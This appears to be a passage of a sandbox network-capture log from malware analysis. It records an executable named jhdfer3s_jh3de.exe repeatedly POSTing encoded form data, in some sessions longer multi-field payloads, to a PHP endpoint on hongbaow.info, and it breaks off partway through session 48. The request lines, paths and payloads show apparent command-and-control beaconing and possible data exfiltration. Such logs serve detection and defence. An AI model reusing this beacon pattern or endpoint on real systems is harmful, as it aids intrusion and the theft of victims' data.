
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49881	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:14 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:14 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:14 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dg1W6Y5BO66Utsqi2QidY7azGsAFnSn2b4wUn%2BRFkAeRtUPn0eSgOb2ByEtMu%2By87djsZsBaCcNWqAZxw8f5%2FOFoU5SbynXVtAyJs%2BclP5ft6sjFnH7xQB7yow38R22B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf3238998ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1775&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1616832&cwnd=237&unsent_bytes=0&cid=ea468f174b49d11f&ts=322&x=0"
2025-01-22 07:36:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49892	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:16 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:16 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:16 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oB1Gju10HbuKdy64GcO5OYmtj7DxoYfvgtezUdLsuGl1D0SOFmncQJy5c5dIJOXjpDst%2BIzESI01BteH%2B%2FxVi3c1f%2Fx34JdSH90siHOKT5TCf9eThe3C2wo1VkNSNnsv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf3ddedac358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1509&min_rtt=1498&rtt_var=570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1949265&cwnd=155&unsent_bytes=0&cid=850e58a9efe06c5a&ts=342&x=0"
2025-01-22 07:36:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49903	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:17 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:17 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:18 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xqDBdKGHnx9hWS8AHxjM77YF56EzFj04Kd%2BNKBYR%2Bl%2Bli3Xbv2wRO1Hb1s0dmCtqZpPVJEbOUfJbdQI6bnaZE57qKrgdLtO5Ty4YUh2mXNK3c3IE6%2BVHnFk8FTW32ueh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf48cae37c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&min_rtt=1755&rtt_var=688&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1557333&cwnd=218&unsent_bytes=0&cid=ab8c548ce05828e0&ts=341&x=0"
2025-01-22 07:36:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49909	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:18 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:18 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:18 UTC	812	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BHry%2BrEtRbCT5zE%2BLzgm9pfxZeATti%2FOmYAbk6X9I87ppUhaSVJvn46M7aA%2F9lIaPdRarhsXTZzk2rMU1hnI2oCWB9f85SzpjYZVhxovvE1rqoeZIYSze3GrCyYlfyA6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf4c1fed8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1762&rtt_var=669&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1170&delivery_rate=1624026&cwnd=237&unsent_bytes=0&cid=e588637f52af0427&ts=325&x=0"
2025-01-22 07:36:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49916	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:19 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:19 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:19 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RXJwQ5ESoTswXxiB1QuG5XHMgS4NjfzsJ2Q%2F7n0wbmWxE3hXsxwSVMdGFgPeS7KXNOHWNrh1cxocBJ89cEvbZfrYsg117v%2FH3D1yhBWtUvYUPqDX6nwxGGdNMuUcp0qK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf532f817c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1790&rtt_var=679&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1600877&cwnd=218&unsent_bytes=0&cid=2e66783d2ef2a905&ts=343&x=0"
2025-01-22 07:36:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49926	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:21 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:21 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:21 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vDf0ND7yo6b26j73Uv%2BbS2jtUW7LDlyfgGVQm2fnsL6IbaUqUz2YNJzi66hEmNPvQnRtKLGvE6ilsrLkxgpeDxMJcpyf7CWndoQb27%2BXQq3LdUEJjjhBlRoSHoil5AaP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf5d4cdd8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1777&rtt_var=669&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1634023&cwnd=237&unsent_bytes=0&cid=46c2186f54919352&ts=322&x=0"
2025-01-22 07:36:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49937	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:22 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:22 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:23 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J6IQ2fmbH5fRYpbIc35d7HHL%2Bq69fYefL9crepLhQcX0hv0zzx%2BAKAcMlwlbPGrFhcbMrrnTVchjFm6YJCrL7RCag8RnhhWmABTfSDaZ39c4qhJ2uY4Eq82NaFGKNrOH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf66c82a7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1752&rtt_var=669&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1620421&cwnd=218&unsent_bytes=0&cid=dbfca448561ec2ee&ts=325&x=0"
2025-01-22 07:36:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49948	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:24 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:24 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:24 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n15P6QophoPcRWGVHiSngkK0Es%2F8PtLd5Xapg1CT2%2BSJKZ306X9fECgdjmndvTTfVm0cLRxWwCyj2XyF2j%2Fv055b4Jy%2B0z83VrHu67PN%2BHROxgOxgyVT0vGeMfS4JCN8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf6fbf2a4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1539&rtt_var=626&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1681059&cwnd=180&unsent_bytes=0&cid=ae3c9a1fbcd0d768&ts=356&x=0"
2025-01-22 07:36:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49949	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:24 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:24 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:24 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b3aTIlzkFbrvNC1zD%2BpH8ldqRciC2McKKG2rfrlg3AHScPquJNAu9OOXaq56dswUsV77q%2BSxOsCee5KmPIgUxI%2BsWOeFQHpxkDsoK%2FJVojSDZRxvuoCc1suBJUWBuBCa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf709df942eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1571&rtt_var=596&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1858688&cwnd=215&unsent_bytes=0&cid=d70c102fd841bff5&ts=353&x=0"
2025-01-22 07:36:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49958	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:25 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:25 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:25 UTC	817	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iZTmxZgD3C5N9XBToJKcXARGufZL8%2B%2Fk9yDCVsv0gY%2BS5y5pcFcQc9yOrjqw%2FSedyPhwZBsaA8KJLlpkZqABx0OZW4ZuvwnSo80orepVk%2BO1Y2EuTJQyLf3%2BZbd%2Fs%2BTR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf785d078ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1753&rtt_var=673&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1608815&cwnd=237&unsent_bytes=0&cid=8dbde69aac4aab6f&ts=335&x=0"
2025-01-22 07:36:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49966	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:26 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:26 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:27 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K9GT39Gb%2Fk6Qa257q1EBj9FQSEM3xxWzG3Gtik3AtU8Svh4jOmGkQlreOox%2BNOqogG6Xp0gVEsEu5iS1HFbk%2FI%2BnsDu8lEdpUy8ntJYbvFQ6aG5CrzVn4ixENJZTFDUO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf80acb9c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1486&min_rtt=1486&rtt_var=557&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1962365&cwnd=155&unsent_bytes=0&cid=d41fc6ae6e984c27&ts=338&x=0"
2025-01-22 07:36:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49977	104.21.64.1	443

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:28 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:28 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
